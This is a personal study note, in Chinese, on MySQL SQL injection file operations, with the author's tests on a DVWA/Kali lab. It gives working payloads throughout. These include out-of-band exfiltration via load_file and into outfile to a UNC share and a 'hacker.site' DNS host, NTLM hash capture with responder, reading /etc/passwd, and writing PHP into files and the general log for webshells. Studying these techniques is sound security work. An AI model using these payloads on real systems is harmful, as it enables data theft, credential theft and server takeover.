---
# System prepended metadata

title: SQL injection 文件操作 OOB
tags: [sql injection]

---

# SQL injection 文件操作 OOB

###### tags: `sql injection`


## load_file读文件

### 設置Load_file狀態
在MySQL注入中DNSlog外帶主要利用MySQL內置函數load_file()函數，load_file()不僅能讀取本地文件也能通過UNC的方式讀取遠程文件。

### Load_file函數狀態：
要求用户具有file权限 通常root 才有

當secure_file_priv為空，則表示沒有任何限制。

當secure_file_priv為指定目錄，則表示數據庫導入導出只能在指定目錄。

當secure_file_priv為null，則表示不允許導入導出（MySQL 5.7 默認值）

### MySQL中查詢secure_file_priv有以下方式

```
show variables like '%secure%';

select @@global.secure_file_priv;
```

以上部分內容轉載自:
https://www.freebuf.com/articles/web/323674.html

---


## into outfile写文件

要求用户具有file权限 通常root 才有
文件不能覆盖写入，所以文件必须为不存在
如果secure_file_priv非空，则写入文件的目录只能为对应目录下



## into dumpfile 写文件


我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的.
這個很適合導庫
 
 
而into dump是不行的 它只能導出 一行數據!
 
 
若我們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出後 就會被破壞
 
因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
 
這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止，也不執行任何轉義處理

以上部分內容轉載自:
https://www.cnblogs.com/milantgh/p/5444398.html

---

## MYSQL 帶外
這是window 橫向滲透，自己開啟一個共享資料夾(所有人可寫入)，然後把資料帶到自己的資料夾。

```
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt;
```

## DNS Log
```
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
```


## UNC 路徑 - NTLM 哈希竊取
需要用 responder 工具。基於錯誤的UNC PATH

```
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```









# linux 實測

我自己實測，我覺得成功率不高，

首先要設置，就不太可能
```
secure_file_priv=''
```


## 讀檔案:
實測就算你開了 secure_file_priv=''  你也把一些檔案開了權限，你也查看了父目錄
你也查看了mysql的權限，有些目錄你就是讀寫不了，這個功能有點玄

mysql 是以 mysql 身份執行
当你在 Linux 系统上安装和配置 MySQL 服务时，它默认会以 mysql 用户的身份运行

有人說要關閉或調整，以下兩個，但我檢查，我根本沒設置，所以原因不明
AppArmor  
SELinux




幸運一點可以寫入web目錄，不行就只能寫在系統的其他目錄，然後 file inlcusion


可讀
```
select load_file('/tmp/123.txt');
select load_file('/etc/hosts');
select load_file('/etc/apache2/sites-available/dvwa.com.conf');
SELECT LOAD_FILE('/etc/passwd');

select load_file('/tmp/123.txt');
select load_file('/my_pass_hash.txt');

select load_file '/tmp/123.txt' ;
select TO_BASE64(load_file('/tmp/login.php'));



不可讀

select load_file('/home/kali/Desktop/123.txt');
select load_file('/home/kali/123.txt');
select load_file('/home/123.txt');
```


```
可寫
SELECT VERSION() INTO OUTFILE '/tmp/test.txt';

SELECT "<?php phpinfo();?>" INTO OUTFILE '/tmp/test.txt';

SELECT "123" INTO OUTFILE '/var/lib/mysql/123.txt';

SELECT "<?php  phpinfo();?>" INTO OUTFILE '/var/lib/mysql/test123.txt';

SELECT FROM_BASE64('PD9waHAgcGhwaW5mbygpOz8+') INTO OUTFILE '/var/lib/mysql/test789.txt';

SELECT UNHEX('3c3f70687020706870696e666f28293b3f3e') INTO OUTFILE '/var/lib/mysql/test.txt';




不可寫
SELECT VERSION() INTO OUTFILE '/etc/test.txt';

SELECT VERSION() INTO OUTFILE '/etc/apache2/test.txt';

SELECT "123" INTO OUTFILE '/home/kali/Desktop/DVWA/test123.txt';

```




## 還有log 寫馬，但我實測也是失敗，或是功能不穩定，


```

SELECT @@global.general_log;
SELECT @@global.general_log_file;


可設置
set global general_log='on';

set global general_log_file='/tmp/test_log.txt';

set global general_log_file='/test_log.txt'


不可設置
set global general_log_file='/home/kali/Desktop/test_log.txt';


set global general_log_file='/home/kali/Desktop/test_log.txt';

set global general_log_file='/var/www/html/test123.php';

set global general_log_file='/test123.php';

```


- 假設你真的成功寫入了檔案，並且不再web目錄，搭配 LFI 的漏洞的文件，所在的目錄 要有RX權限